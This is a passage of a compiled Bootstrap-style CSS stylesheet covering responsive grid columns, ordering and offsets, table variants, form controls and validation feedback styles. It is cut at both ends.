33.3333333333%;\n            flex: 0 0 33.3333333333%;\n    max-width: 33.3333333333%;\n  }\n  .col-md-5 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 41.6666666667%;\n            flex: 0 0 41.6666666667%;\n    max-width: 41.6666666667%;\n  }\n  .col-md-6 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 50%;\n            flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-md-7 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 58.3333333333%;\n            flex: 0 0 58.3333333333%;\n    max-width: 58.3333333333%;\n  }\n  .col-md-8 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 66.6666666667%;\n            flex: 0 0 66.6666666667%;\n    max-width: 66.6666666667%;\n  }\n  .col-md-9 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 75%;\n            flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-md-10 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 83.3333333333%;\n            flex: 0 0 83.3333333333%;\n    max-width: 83.3333333333%;\n  }\n  .col-md-11 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 91.6666666667%;\n            flex: 0 0 91.6666666667%;\n    max-width: 91.6666666667%;\n  }\n  .col-md-12 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 100%;\n            flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-md-first {\n    -webkit-box-ordinal-group: 0;\n        -ms-flex-order: -1;\n            order: -1;\n  }\n  .order-md-last {\n    -webkit-box-ordinal-group: 14;\n        -ms-flex-order: 13;\n            order: 13;\n  }\n  .order-md-0 {\n    -webkit-box-ordinal-group: 1;\n        -ms-flex-order: 0;\n            order: 0;\n  }\n  .order-md-1 {\n    -webkit-box-ordinal-group: 2;\n        -ms-flex-order: 1;\n            order: 1;\n  }\n  .order-md-2 {\n    -webkit-box-ordinal-group: 3;\n        -ms-flex-order: 2;\n            order: 2;\n  }\n  .order-md-3 {\n    -webkit-box-ordinal-group: 4;\n        -ms-flex-order: 3;\n            order: 3;\n  }\n  .order-md-4 {\n    -webkit-box-ordinal-group: 5;\n        -ms-flex-order: 4;\n            order: 4;\n  }\n  .order-md-5 {\n    -webkit-box-ordinal-group: 6;\n        -ms-flex-order: 5;\n            order: 5;\n  }\n  .order-md-6 {\n    -webkit-box-ordinal-group: 7;\n        -ms-flex-order: 6;\n            order: 6;\n  }\n  .order-md-7 {\n    -webkit-box-ordinal-group: 8;\n        -ms-flex-order: 7;\n            order: 7;\n  }\n  .order-md-8 {\n    -webkit-box-ordinal-group: 9;\n        -ms-flex-order: 8;\n            order: 8;\n  }\n  .order-md-9 {\n    -webkit-box-ordinal-group: 10;\n        -ms-flex-order: 9;\n            order: 9;\n  }\n  .order-md-10 {\n    -webkit-box-ordinal-group: 11;\n        -ms-flex-order: 10;\n            order: 10;\n  }\n  .order-md-11 {\n    -webkit-box-ordinal-group: 12;\n        -ms-flex-order: 11;\n            order: 11;\n  }\n  .order-md-12 {\n    -webkit-box-ordinal-group: 13;\n        -ms-flex-order: 12;\n            order: 12;\n  }\n  .offset-md-0 {\n    margin-left: 0;\n  }\n  .offset-md-1 {\n    margin-left: 8.3333333333%;\n  }\n  .offset-md-2 {\n    margin-left: 16.6666666667%;\n  }\n  .offset-md-3 {\n    margin-left: 25%;\n  }\n  .offset-md-4 {\n    margin-left: 33.3333333333%;\n  }\n  .offset-md-5 {\n    margin-left: 41.6666666667%;\n  }\n  .offset-md-6 {\n    margin-left: 50%;\n  }\n  .offset-md-7 {\n    margin-left: 58.3333333333%;\n  }\n  .offset-md-8 {\n    margin-left: 66.6666666667%;\n  }\n  .offset-md-9 {\n    margin-left: 75%;\n  }\n  .offset-md-10 {\n    margin-left: 83.3333333333%;\n  }\n  .offset-md-11 {\n    margin-left: 91.6666666667%;\n  }\n}\n\n@media (min-width: 992px) {\n  .col-lg {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -webkit-box-flex: 1;\n        -ms-flex-positive: 1;\n            flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-lg-auto {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 auto;\n            flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-lg-1 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 8.3333333333%;\n            flex: 0 0 8.3333333333%;\n    max-width: 8.3333333333%;\n  }\n  .col-lg-2 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 16.6666666667%;\n            flex: 0 0 16.6666666667%;\n    max-width: 16.6666666667%;\n  }\n  .col-lg-3 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 25%;\n            flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-lg-4 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 33.3333333333%;\n            flex: 0 0 33.3333333333%;\n    max-width: 33.3333333333%;\n  }\n  .col-lg-5 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 41.6666666667%;\n            flex: 0 0 41.6666666667%;\n    max-width: 41.6666666667%;\n  }\n  .col-lg-6 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 50%;\n            flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-lg-7 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 58.3333333333%;\n            flex: 0 0 58.3333333333%;\n    max-width: 58.3333333333%;\n  }\n  .col-lg-8 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 66.6666666667%;\n            flex: 0 0 66.6666666667%;\n    max-width: 66.6666666667%;\n  }\n  .col-lg-9 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 75%;\n            flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-lg-10 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 83.3333333333%;\n            flex: 0 0 83.3333333333%;\n    max-width: 83.3333333333%;\n  }\n  .col-lg-11 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 91.6666666667%;\n            flex: 0 0 91.6666666667%;\n    max-width: 91.6666666667%;\n  }\n  .col-lg-12 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 100%;\n            flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-lg-first {\n    -webkit-box-ordinal-group: 0;\n        -ms-flex-order: -1;\n            order: -1;\n  }\n  .order-lg-last {\n    -webkit-box-ordinal-group: 14;\n        -ms-flex-order: 13;\n            order: 13;\n  }\n  .order-lg-0 {\n    -webkit-box-ordinal-group: 1;\n        -ms-flex-order: 0;\n            order: 0;\n  }\n  .order-lg-1 {\n    -webkit-box-ordinal-group: 2;\n        -ms-flex-order: 1;\n            order: 1;\n  }\n  .order-lg-2 {\n    -webkit-box-ordinal-group: 3;\n        -ms-flex-order: 2;\n            order: 2;\n  }\n  .order-lg-3 {\n    -webkit-box-ordinal-group: 4;\n        -ms-flex-order: 3;\n            order: 3;\n  }\n  .order-lg-4 {\n    -webkit-box-ordinal-group: 5;\n        -ms-flex-order: 4;\n            order: 4;\n  }\n  .order-lg-5 {\n    -webkit-box-ordinal-group: 6;\n        -ms-flex-order: 5;\n            order: 5;\n  }\n  .order-lg-6 {\n    -webkit-box-ordinal-group: 7;\n        -ms-flex-order: 6;\n            order: 6;\n  }\n  .order-lg-7 {\n    -webkit-box-ordinal-group: 8;\n        -ms-flex-order: 7;\n            order: 7;\n  }\n  .order-lg-8 {\n    -webkit-box-ordinal-group: 9;\n        -ms-flex-order: 8;\n            order: 8;\n  }\n  .order-lg-9 {\n    -webkit-box-ordinal-group: 10;\n        -ms-flex-order: 9;\n            order: 9;\n  }\n  .order-lg-10 {\n    -webkit-box-ordinal-group: 11;\n        -ms-flex-order: 10;\n            order: 10;\n  }\n  .order-lg-11 {\n    -webkit-box-ordinal-group: 12;\n        -ms-flex-order: 11;\n            order: 11;\n  }\n  .order-lg-12 {\n    -webkit-box-ordinal-group: 13;\n        -ms-flex-order: 12;\n            order: 12;\n  }\n  .offset-lg-0 {\n    margin-left: 0;\n  }\n  .offset-lg-1 {\n    margin-left: 8.3333333333%;\n  }\n  .offset-lg-2 {\n    margin-left: 16.6666666667%;\n  }\n  .offset-lg-3 {\n    margin-left: 25%;\n  }\n  .offset-lg-4 {\n    margin-left: 33.3333333333%;\n  }\n  .offset-lg-5 {\n    margin-left: 41.6666666667%;\n  }\n  .offset-lg-6 {\n    margin-left: 50%;\n  }\n  .offset-lg-7 {\n    margin-left: 58.3333333333%;\n  }\n  .offset-lg-8 {\n    margin-left: 66.6666666667%;\n  }\n  .offset-lg-9 {\n    margin-left: 75%;\n  }\n  .offset-lg-10 {\n    margin-left: 83.3333333333%;\n  }\n  .offset-lg-11 {\n    margin-left: 91.6666666667%;\n  }\n}\n\n@media (min-width: 1200px) {\n  .col-xl {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -webkit-box-flex: 1;\n        -ms-flex-positive: 1;\n            flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-xl-auto {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 auto;\n            flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-xl-1 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 8.3333333333%;\n            flex: 0 0 8.3333333333%;\n    max-width: 8.3333333333%;\n  }\n  .col-xl-2 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 16.6666666667%;\n            flex: 0 0 16.6666666667%;\n    max-width: 16.6666666667%;\n  }\n  .col-xl-3 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 25%;\n            flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-xl-4 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 33.3333333333%;\n            flex: 0 0 33.3333333333%;\n    max-width: 33.3333333333%;\n  }\n  .col-xl-5 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 41.6666666667%;\n            flex: 0 0 41.6666666667%;\n    max-width: 41.6666666667%;\n  }\n  .col-xl-6 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 50%;\n            flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-xl-7 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 58.3333333333%;\n            flex: 0 0 58.3333333333%;\n    max-width: 58.3333333333%;\n  }\n  .col-xl-8 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 66.6666666667%;\n            flex: 0 0 66.6666666667%;\n    max-width: 66.6666666667%;\n  }\n  .col-xl-9 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 75%;\n            flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-xl-10 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 83.3333333333%;\n            flex: 0 0 83.3333333333%;\n    max-width: 83.3333333333%;\n  }\n  .col-xl-11 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 91.6666666667%;\n            flex: 0 0 91.6666666667%;\n    max-width: 91.6666666667%;\n  }\n  .col-xl-12 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 100%;\n            flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-xl-first {\n    -webkit-box-ordinal-group: 0;\n        -ms-flex-order: -1;\n            order: -1;\n  }\n  .order-xl-last {\n    -webkit-box-ordinal-group: 14;\n        -ms-flex-order: 13;\n            order: 13;\n  }\n  .order-xl-0 {\n    -webkit-box-ordinal-group: 1;\n        -ms-flex-order: 0;\n            order: 0;\n  }\n  .order-xl-1 {\n    -webkit-box-ordinal-group: 2;\n        -ms-flex-order: 1;\n            order: 1;\n  }\n  .order-xl-2 {\n    -webkit-box-ordinal-group: 3;\n        -ms-flex-order: 2;\n            order: 2;\n  }\n  .order-xl-3 {\n    -webkit-box-ordinal-group: 4;\n        -ms-flex-order: 3;\n            order: 3;\n  }\n  .order-xl-4 {\n    -webkit-box-ordinal-group: 5;\n        -ms-flex-order: 4;\n            order: 4;\n  }\n  .order-xl-5 {\n    -webkit-box-ordinal-group: 6;\n        -ms-flex-order: 5;\n            order: 5;\n  }\n  .order-xl-6 {\n    -webkit-box-ordinal-group: 7;\n        -ms-flex-order: 6;\n            order: 6;\n  }\n  .order-xl-7 {\n    -webkit-box-ordinal-group: 8;\n        -ms-flex-order: 7;\n            order: 7;\n  }\n  .order-xl-8 {\n    -webkit-box-ordinal-group: 9;\n        -ms-flex-order: 8;\n            order: 8;\n  }\n  .order-xl-9 {\n    -webkit-box-ordinal-group: 10;\n        -ms-flex-order: 9;\n            order: 9;\n  }\n  .order-xl-10 {\n    -webkit-box-ordinal-group: 11;\n        -ms-flex-order: 10;\n            order: 10;\n  }\n  .order-xl-11 {\n    -webkit-box-ordinal-group: 12;\n        -ms-flex-order: 11;\n            order: 11;\n  }\n  .order-xl-12 {\n    -webkit-box-ordinal-group: 13;\n        -ms-flex-order: 12;\n            order: 12;\n  }\n  .offset-xl-0 {\n    margin-left: 0;\n  }\n  .offset-xl-1 {\n    margin-left: 8.3333333333%;\n  }\n  .offset-xl-2 {\n    margin-left: 16.6666666667%;\n  }\n  .offset-xl-3 {\n    margin-left: 25%;\n  }\n  .offset-xl-4 {\n    margin-left: 33.3333333333%;\n  }\n  .offset-xl-5 {\n    margin-left: 41.6666666667%;\n  }\n  .offset-xl-6 {\n    margin-left: 50%;\n  }\n  .offset-xl-7 {\n    margin-left: 58.3333333333%;\n  }\n  .offset-xl-8 {\n    margin-left: 66.6666666667%;\n  }\n  .offset-xl-9 {\n    margin-left: 75%;\n  }\n  .offset-xl-10 {\n    margin-left: 83.3333333333%;\n  }\n  .offset-xl-11 {\n    margin-left: 91.6666666667%;\n  }\n}\n\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 1rem;\n  background-color: transparent;\n}\n\n.table th,\n.table td {\n  padding: 0.75rem;\n  vertical-align: top;\n  border-top: 1px solid #dee2e6;\n}\n\n.table thead th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #dee2e6;\n}\n\n.table tbody + tbody {\n  border-top: 2px solid #dee2e6;\n}\n\n.table .table {\n  background-color: #FFF;\n}\n\n.table-sm th,\n.table-sm td {\n  padding: 0.3rem;\n}\n\n.table-bordered {\n  border: 1px solid #dee2e6;\n}\n\n.table-bordered th,\n.table-bordered td {\n  border: 1px solid #dee2e6;\n}\n\n.table-bordered thead th,\n.table-bordered thead td {\n  border-bottom-width: 2px;\n}\n\n.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(0, 0, 0, 0.05);\n}\n\n.table-hover tbody tr:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-primary,\n.table-primary > th,\n.table-primary > td {\n  background-color: #b8e2de;\n}\n\n.table-hover .table-primary:hover {\n  background-color: #a6dbd6;\n}\n\n.table-hover .table-primary:hover > td,\n.table-hover .table-primary:hover > th {\n  background-color: #a6dbd6;\n}\n\n.table-secondary,\n.table-secondary > th,\n.table-secondary > td {\n  background-color: #d6d8db;\n}\n\n.table-hover .table-secondary:hover {\n  background-color: #c8cbcf;\n}\n\n.table-hover .table-secondary:hover > td,\n.table-hover .table-secondary:hover > th {\n  background-color: #c8cbcf;\n}\n\n.table-success,\n.table-success > th,\n.table-success > td {\n  background-color: #c3e6cb;\n}\n\n.table-hover .table-success:hover {\n  background-color: #b1dfbb;\n}\n\n.table-hover .table-success:hover > td,\n.table-hover .table-success:hover > th {\n  background-color: #b1dfbb;\n}\n\n.table-info,\n.table-info > th,\n.table-info > td {\n  background-color: #bee5eb;\n}\n\n.table-hover .table-info:hover {\n  background-color: #abdde5;\n}\n\n.table-hover .table-info:hover > td,\n.table-hover .table-info:hover > th {\n  background-color: #abdde5;\n}\n\n.table-warning,\n.table-warning > th,\n.table-warning > td {\n  background-color: #ffeeba;\n}\n\n.table-hover .table-warning:hover {\n  background-color: #ffe8a1;\n}\n\n.table-hover .table-warning:hover > td,\n.table-hover .table-warning:hover > th {\n  background-color: #ffe8a1;\n}\n\n.table-danger,\n.table-danger > th,\n.table-danger > td {\n  background-color: #f5c6cb;\n}\n\n.table-hover .table-danger:hover {\n  background-color: #f1b0b7;\n}\n\n.table-hover .table-danger:hover > td,\n.table-hover .table-danger:hover > th {\n  background-color: #f1b0b7;\n}\n\n.table-light,\n.table-light > th,\n.table-light > td {\n  background-color: #fdfdfe;\n}\n\n.table-hover .table-light:hover {\n  background-color: #ececf6;\n}\n\n.table-hover .table-light:hover > td,\n.table-hover .table-light:hover > th {\n  background-color: #ececf6;\n}\n\n.table-dark,\n.table-dark > th,\n.table-dark > td {\n  background-color: #c6c8ca;\n}\n\n.table-hover .table-dark:hover {\n  background-color: #b9bbbe;\n}\n\n.table-hover .table-dark:hover > td,\n.table-hover .table-dark:hover > th {\n  background-color: #b9bbbe;\n}\n\n.table-active,\n.table-active > th,\n.table-active > td {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover > td,\n.table-hover .table-active:hover > th {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table .thead-dark th {\n  color: #FFF;\n  background-color: #212529;\n  border-color: #32383e;\n}\n\n.table .thead-light th {\n  color: #495057;\n  background-color: #e9ecef;\n  border-color: #dee2e6;\n}\n\n.table-dark {\n  color: #FFF;\n  background-color: #212529;\n}\n\n.table-dark th,\n.table-dark td,\n.table-dark thead th {\n  border-color: #32383e;\n}\n\n.table-dark.table-bordered {\n  border: 0;\n}\n\n.table-dark.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(255, 255, 255, 0.05);\n}\n\n.table-dark.table-hover tbody tr:hover {\n  background-color: rgba(255, 255, 255, 0.075);\n}\n\n@media (max-width: 575.98px) {\n  .table-responsive-sm {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-sm > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 767.98px) {\n  .table-responsive-md {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-md > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 991.98px) {\n  .table-responsive-lg {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-lg > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 1199.98px) {\n  .table-responsive-xl {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-xl > .table-bordered {\n    border: 0;\n  }\n}\n\n.table-responsive {\n  display: block;\n  width: 100%;\n  overflow-x: auto;\n  -webkit-overflow-scrolling: touch;\n  -ms-overflow-style: -ms-autohiding-scrollbar;\n}\n\n.table-responsive > .table-bordered {\n  border: 0;\n}\n\n.form-control {\n  display: block;\n  width: 100%;\n  padding: 0.375rem 0.75rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #FFF;\n  background-clip: padding-box;\n  border: 2px solid #ced4da;\n  border-radius: 4px;\n  -webkit-transition: border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;\n  transition: border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;\n  -o-transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n  transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n  transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;\n}\n\n.form-control::-ms-expand {\n  background-color: transparent;\n  border: 0;\n}\n\n.form-control:focus {\n  color: #495057;\n  background-color: #FFF;\n  border-color: #009688;\n  outline: 0;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.form-control::-webkit-input-placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control:-ms-input-placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control::-ms-input-placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control::placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control:disabled, .form-control[readonly] {\n  background-color: #e9ecef;\n  opacity: 1;\n}\n\nselect.form-control:not([size]):not([multiple]) {\n  height: calc(2.0625rem + 4px);\n}\n\nselect.form-control:focus::-ms-value {\n  color: #495057;\n  background-color: #FFF;\n}\n\n.form-control-file,\n.form-control-range {\n  display: block;\n  width: 100%;\n}\n\n.col-form-label {\n  padding-top: calc(0.375rem + 2px);\n  padding-bottom: calc(0.375rem + 2px);\n  margin-bottom: 0;\n  font-size: inherit;\n  line-height: 1.5;\n}\n\n.col-form-label-lg {\n  padding-top: calc(0.5rem + 2px);\n  padding-bottom: calc(0.5rem + 2px);\n  font-size: 1.09375rem;\n  line-height: 1.5;\n}\n\n.col-form-label-sm {\n  padding-top: calc(0.25rem + 2px);\n  padding-bottom: calc(0.25rem + 2px);\n  font-size: 0.765625rem;\n  line-height: 1.5;\n}\n\n.form-control-plaintext {\n  display: block;\n  width: 100%;\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  margin-bottom: 0;\n  line-height: 1.5;\n  background-color: transparent;\n  border: solid transparent;\n  border-width: 2px 0;\n}\n\n.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-lg > .input-group-append > .form-control-plaintext.btn {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.form-control-sm, .input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.765625rem;\n  line-height: 1.5;\n  border-radius: 4px;\n}\n\nselect.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) {\n  height: calc(1.6484375rem + 4px);\n}\n\n.form-control-lg, .input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.09375rem;\n  line-height: 1.5;\n  border-radius: 4px;\n}\n\nselect.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) {\n  height: calc(2.640625rem + 4px);\n}\n\n.form-group {\n  margin-bottom: 1rem;\n}\n\n.form-text {\n  display: block;\n  margin-top: 0.25rem;\n}\n\n.form-row {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  margin-right: -5px;\n  margin-left: -5px;\n}\n\n.form-row > .col,\n.form-row > [class*=\"col-\"] {\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.form-check {\n  position: relative;\n  display: block;\n  padding-left: 1.25rem;\n}\n\n.form-check-input {\n  position: absolute;\n  margin-top: 0.3rem;\n  margin-left: -1.25rem;\n}\n\n.form-check-input:disabled ~ .form-check-label {\n  color: #6c757d;\n}\n\n.form-check-label {\n  margin-bottom: 0;\n}\n\n.form-check-inline {\n  display: -webkit-inline-box;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  padding-left: 0;\n  margin-right: 0.75rem;\n}\n\n.form-check-inline .form-check-input {\n  position: static;\n  margin-top: 0;\n  margin-right: 0.3125rem;\n  margin-left: 0;\n}\n\n.valid-feedback {\n  display: none;\n  width: 100%;\n  margin-top: 0.25rem;\n  font-size: 80%;\n  color: #28a745;\n}\n\n.valid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  max-width: 100%;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(40, 167, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:valid, .form-control.is-valid, .was-validated\n.custom-select:valid,\n.custom-select.is-valid {\n  border-color: #28a745;\n}\n\n.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated\n.custom-select:valid:focus,\n.custom-select.is-valid:focus {\n  border-color: #28a745;\n  -webkit-box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.25);\n          box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:valid ~ .valid-feedback,\n.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback,\n.form-control.is-valid ~ .valid-tooltip, .was-validated\n.custom-select:valid ~ .valid-feedback,\n.was-validated\n.custom-select:valid ~ .valid-tooltip,\n.custom-select.is-valid ~ .valid-feedback,\n.custom-select.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label {\n  color: #28a745;\n}\n\n.was-validated .form-check-input:valid ~ .valid-feedback,\n.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback,\n.form-check-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label {\n  color: #28a745;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before {\n  background-color: #71dd8a;\n}\n\n.was-validated .custom-control-input:valid ~ .valid-feedback,\n.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback,\n.custom-control-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before {\n  background-color: #34ce57;\n}\n\n.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before {\n  -webkit-box-shadow: 0 0 0 1px #FFF, 0 0 0 0 rgba(40, 167, 69, 0.25);\n          box-shadow: 0 0 0 1px #FFF, 0 0 0 0 rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label {\n  border-color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:valid ~ .valid-feedback,\n.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback,\n.custom-file-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label {\n  -webkit-box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.25);\n          box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.25);\n}\n\n.invalid-feedback {\n  display: none;\n  width: 100%;\n  margin-top: 0.25rem;\n  font-size: 80%;\n  color: #dc3545;\n}\n\n.invalid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  max-width: 100%;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(220, 53, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated\n.custom-select:invalid,\n.custom-select.is-invalid {\n  border-color: #dc3545;\n}\n\n.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated\n.custom-select:invalid:focus,\n.custom-select.is-invalid:focus {\n  border-color: #dc3545;\n  -webkit-box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.25);\n          box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .form-control:invalid ~ .invalid-feedback,\n.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,\n.form-control.is-invalid ~ .invalid-tooltip, .was-validated\n.custom-select:invalid ~ 